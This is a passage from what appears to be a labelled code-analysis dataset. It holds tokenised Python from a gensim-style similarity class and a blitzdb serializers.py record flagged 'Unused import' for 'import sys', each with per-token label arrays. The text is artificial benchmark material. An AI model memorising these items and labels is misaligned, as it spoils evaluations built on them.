"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simil", "arit", "y", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "self_", ",_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "similar", "iti", "es", " ", "of", " ", "document", " ", "`", "query", "`", " ", "to", " ", "all", " ", "document", "s", " ", "in", " ", "the", " ", "corp", "us", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "or", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "`", "query", "`", " ", "is", " ", "a", " ", "corp", "us", " ", "(", "iterable", " ", "of", " ", "document", "s", "),", " ", "return", " ", "a", " ", "matrix", " ", "of", " ", "similar", "iti", "es", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "all", " ", "query", " ", "document", "s", " ", "vs", ".", " ", "all", " ", "corp", "us", " ", "document", ".", " ", "Us", "ing", " ", "this", " ", "type", " ", "of", " ", "batch", "\\", "10", ";", " ", " ", " ", " ", "query", " ", "is", " ", "more", " ", "efficien", "t", " ", "than", " ", "compu", "ting", " ", "the", " ", "similar", "iti", "es", " ", "one", " ", "document", " ", "after", "\\", "10", ";", " ", " ", " ", " ", "anot", "her", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "corpus_", ",_", "query_", "=_", "utils_", "._", "is", "\\u", "corpus_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "normalize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "self", ".", "normali", "ze", " ", "only", " ", "works", " ", "if", " ", "the", " ", "input", " ", "is", " ", "a", " ", "plain", " ", "gens", "im", " ", "vector", "/", "corp", "us", " ", "(", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "advertise", "d", " ", "in", " ", "the", " ", "doc", ").", " ", "in", " ", "fact", ",", " ", "input", " ", "can", " ", "be", " ", "a", " ", "nump", "y", " ", "or", " ", "sci", "py", ".", "spars", "e", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "well", ",", " ", "but", " ", "in", " ", "tha", "t", " ", "case", " ", "assume", " ", "trick", "s", " ", "are", " ", "happ", "eni", "ng", " ", "and", " ", "don", "'", "t", " ", "normalize_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "anyt", "hing", " ", "(", "self", ".", "normali", "ze", " ", "has", " ", "no", " ", "effect", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "mat", "utils_", "._", "isma", "trix_", "(_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "warn", "ings", ".", "warn", "(\"", "non", "-", "gens", "im", " ", "input", " ", "must", " ", "alr", "ead", "y", " ", "come", " ", "normali", "zed", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "\\u", "corpus_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "query_", "=_", "[_", "mat", "utils_", "._", "unit", "vec_", "(_", "v_", ")_", "for_", "v_", "in_", "query_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "query_", "=_", "mat", "utils_", "._", "unit", "vec_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "self_", "._", "get", "\\u", "similar", "ities_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "num", "\\u", "best_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "input", " ", "query", " ", "was", " ", "a", " ", "corp", "us", " ", "(", "=", "more", " ", "document", "s", "),", " ", "compute", " ", "the", " ", "top", "-", "n_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "most", " ", "similar", " ", "for", " ", "each", " ", "document", " ", "in", " ", "turn_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mat", "utils_", "._", "isma", "trix_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "mat", "utils_", "._", "full", "2s", "parse", "\\u", "clipped", "_", "(_", "v_", ",_", "self_", "._", "num", "\\u", "best_", ")_", "for_", "v_", "in_", "result_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "other", "wis", "e", ",", " ", "return", " ", "top", "-", "n", " ", "of", " ", "the", " ", "single", " ", "input", " ", "document_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "mat", "utils_", "._", "full", "2s", "parse", "\\u", "clipped", "_", "(_", "result_", ",_", "self_", "._", "num", "\\u", "best_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simil", "arit", "y", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "each", " ", "index", " ", "document", ",", " ", "compute", " ", "cosine", " ", "similar", "it", "y", " ", "against", " ", "all", " ", "other", "\\", "10", ";", " ", " ", " ", " ", "document", "s", " ", "in", " ", "the", " ", "index", " ", "and", " ", "yield", " ", "the", " ", "result", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "turn", " ", "off", " ", "query", " ", "normaliza", "tion", " ", "(", "vector", "s", " ", "in", " ", "the", " ", "index", " ", "are", " ", "assume", "d", " ", "to", " ", "be", " ", "alr", "ead", "y", " ", "normali", "zed", ")_", "\\u\\u\\uNL\\u\\u\\u_", "norm_", "=_", "self_", "._", "normalize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "normalize_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "to", " ", "compute", " ", "similar", "iti", "es", " ", "in", " ", "bigger", " ", "chunks", " ", "of", " ", "document", "s", " ", "(", "not_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "one", " ", "query", " ", "=", " ", "a", " ", "single", " ", "document", " ", "after", " ", "anot", "her", ").", " ", "The", " ", "point", " ", "is", ",", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bigger", " ", "query", " ", "of", " ", "N", " ", "document", "s", " ", "is", " ", "faste", "r", " ", "than", " ", "N", " ", "small", " ", "querie", "s", " ", "of", " ", "one_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Af", "ter", " ", "compu", "ting", " ", "similar", "iti", "es", " ", "of", " ", "the", " ", "bigger", " ", "query", " ", "in", " ", "`", "self", "[", "chunk", "]`", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "yield", " ", "the", " ", "result", "ing", " ", "similar", "iti", "es", " ", "one", " ", "after", " ", "anot", "her", ",", " ", "so", " ", "tha", "t", " ", "it", " ", "look", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exact", "ly", " ", "the", " ", "same", " ", "as", " ", "if", " ", "the", "y", " ", "had", " ", "bee", "n", " ", "compute", "d", " ", "with", " ", "many", " ", "small", " ", "querie", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk", "ing_", "=_", "self_", "._", "chunksize_", ">_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "chunk", "ing", " ", "not", " ", "support", "ed", ";", " ", "fall", " ", "back", " ", "to", " ", "the", " ", "(", "slowe", "r", ")", " ", "mode", " ", "of", " ", "1", " ", "query", "=", "1", " ", "document_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk", "ing_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "chunk", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "assume", "s", " ", "`", "self", ".", "corp", "us", "`", " ", "hold", "s", " ", "the", " ", "index", " ", "as", " ", "a", " ", "2", "-", "d", " ", "nump", "y", " ", "array", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "true", " ", "for", " ", "Matrix", "Simil", "arit", "y", " ", "and", " ", "Spar", "se", "Matrix", "Simil", "arit", "y", ",", " ", "but", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "may", " ", "not", " ", "be", " ", "true", " ", "for", " ", "other", " ", "(", "future", ")", " ", "classe", "s", "..", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "chunk", "\\u", "start_", "in_", "xrange_", "(_", "0_", ",_", "self_", "._", "index_", "._", "shape_", "[_", "0_", "]_", ",_", "self_", "._", "chunksize_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sci", "py", ".", "spars", "e", " ", "doe", "sn", "'", "t", " ", "allow", " ", "slicing", " ", "be", "yon", "d", " ", "real", " ", "size", " ", "of", " ", "the", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "unli", "ke", " ", "nump", "y", ").", " ", "so", ",", " ", "clip", " ", "the", " ", "end", " ", "of", " ", "the", " ", "chunk", " ", "explicit", "ly", " ", "to", " ", "make_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sci", "py", ".", "spars", "e", " ", "happy", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk", "\\u", "end_", "=_", "min_", "(_", "self_", "._", "index_", "._", "shape_", "[_", "0_", "]_", ",_", "chunk", "\\u", "start_", "+_", "self_", "._", "chunksize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk_", "=_", "self_", "._", "index_", "[_", "chunk", "\\u", "start_", ":_", "chunk", "\\u", "end_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "chunk_", "._", "shape_", "[_", "0_", "]_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "sim_", "in_", "self_", "[_", "chunk_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "sim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "yield_", "self_", "[_", "chunk_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "doc_", "in_", "self_", "._", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "[_", "doc_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "restore", " ", "old", " ", "normaliza", "tion", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "normalize_", "=_", "norm_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
adewes/blitzdb/blitzdb/backends/file/serializers.py
[ { "content": "from blitzdb.backends.file.utils import JsonEncoder\nimport json\nimport sys\nimport six\n\nif six.PY3:\n import pickle as cPickle\nelse:\n import cPickle\n\n\"\"\"\nSerializers take a Python object and return a string representation of it.\nBlitzDB currently supports several differen JSON serializers,\nas well as a cPickle serializer.\n\"\"\"\n\n\n\n\n\ntry:\n import cjson\n\n\nexcept ImportError:\n pass", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class JsonSerializer(object):\n\n", "metadata": "root.JsonSerializer", "header": "['module', '___EOS___']", "index": 17 }, { "content": " @classmethod\n def serialize(cls, data):\n if six.PY3:\n if isinstance(data, bytes):\n return json.dumps(data.decode('utf-8'), cls=JsonEncoder,ensure_ascii = False).encode('utf-8')\n else:\n return json.dumps(data, cls=JsonEncoder,ensure_ascii = False).encode('utf-8')\n else:\n return json.dumps(data, cls=JsonEncoder,ensure_ascii = False).encode('utf-8')", "metadata": "root.JsonSerializer.serialize", "header": "['class', 'JsonSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 19 }, { "content": " @classmethod\n def deserialize(cls, data):\n if six.PY3:\n return json.loads(data.decode('utf-8'))\n else:\n return json.loads(data.decode('utf-8'))", "metadata": "root.JsonSerializer.deserialize", "header": "['class', 'JsonSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 29 }, { "content": "class PickleSerializer(object):\n\n", "metadata": "root.PickleSerializer", "header": "['module', '___EOS___']", "index": 37 }, { "content": " @classmethod\n def serialize(cls, data):\n return cPickle.dumps(data, cPickle.HIGHEST_PROTOCOL)", "metadata": "root.PickleSerializer.serialize", "header": "['class', 'PickleSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 39 }, { "content": " @classmethod\n def deserialize(cls, data):\n return cPickle.loads(data)", "metadata": "root.PickleSerializer.deserialize", "header": "['class', 'PickleSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 43 }, { "content": " class CJsonSerializer(object):\n\n", "metadata": "root.CJsonSerializer", "header": "['module', '___EOS___']", "index": 50 }, { "content": " @classmethod\n def serialize(cls, data):\n return cjson.encode(data)", "metadata": "root.CJsonSerializer.serialize", "header": "['class', 'CJsonSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 52 }, { "content": " @classmethod\n def deserialize(cls, data):\n return cjson.decode(data)", "metadata": "root.CJsonSerializer.deserialize", "header": "['class', 'CJsonSerializer', '(', 'object', ')', ':', '___EOS___']", "index": 56 } ]
[ { "span": "import sys", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "blit", "zd", "b_", "._", "backends_", "._", "file_", "._", "utils_", "import_", "Js", "on", "Encoder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "six_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pickle_", "as_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Seriali", "zer", "s", " ", "take", " ", "a", " ", "Pyth", "on", " ", "object", " ", "and", " ", "return", " ", "a", " ", "string", " ", "represent", "ation", " ", "of", " ", "it", ".", "\\", "10", ";", "Bli", "tz", "DB", " ", "currentl", "y", " ", "support", "s", " ", "sever", "al", " ", "differ", "en", " ", "JSO", "N", " ", "serialize", "rs", ",", "\\", "10", ";", "as", " ", "well", " ", "as", " ", "a", " ", "c", "Pickl", "e", " ", "serialize", "r", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "cj", "son_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Js", "on", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Js", "on", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "serialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "data_", ",_", "bytes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "dumps_", "(_", "data_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ",_", "cls_", "=_", "Js", "on", "Encoder_", ",_", "ensure", "\\u", "ascii_", "=_", "False_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "dumps_", "(_", "data_", ",_", "cls_", "=_", "Js", "on", "Encoder_", ",_", "ensure", "\\u", "ascii_", "=_", "False_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "dumps_", "(_", "data_", ",_", "cls_", "=_", "Js", "on", "Encoder_", ",_", "ensure", "\\u", "ascii_", "=_", "False_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Js", "on", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "deserialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "loads_", "(_", "data_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "loads_", "(_", "data_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pickl", "e", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pickl", "e", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "serialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "c", "Pickle_", "._", "dumps_", "(_", "data_", ",_", "c", "Pickle_", "._", "HIGHE", "ST", "\\u", "PROTOCOL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pickl", "e", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "deserialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "c", "Pickle_", "._", "loads_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "CJ", "son", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "CJ", "son", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "serialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cj", "son_", "._", "encode_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CJ", "son", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "deserialize_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cj", "son_", "._", "decode_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 